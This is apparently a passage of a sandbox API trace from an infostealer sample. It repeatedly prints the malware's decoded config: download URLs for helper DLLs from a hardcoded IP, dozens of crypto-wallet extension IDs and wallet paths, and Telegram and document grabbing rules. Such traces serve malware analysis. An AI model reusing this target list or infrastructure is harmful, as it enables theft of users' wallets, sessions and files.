Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4952 [0258.949] LocalAlloc (uFlags=0x40, uBytes=0x26b0) returned 0x6be490 [0258.949] StrStrW (lpFirst="libs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.949] lstrlenW (lpString="libs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4952 [0258.949] LocalAlloc (uFlags=0x40, uBytes=0x2730) returned 0x6e73d8 [0258.950] StrCpyW (in: psz1=0x6b9720, psz2="libs" | out: psz1="libs") returned="libs" [0258.950] LocalFree (hMem=0x6e73d8) returned 0x0 [0258.950] StrStrW (lpFirst="libs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension 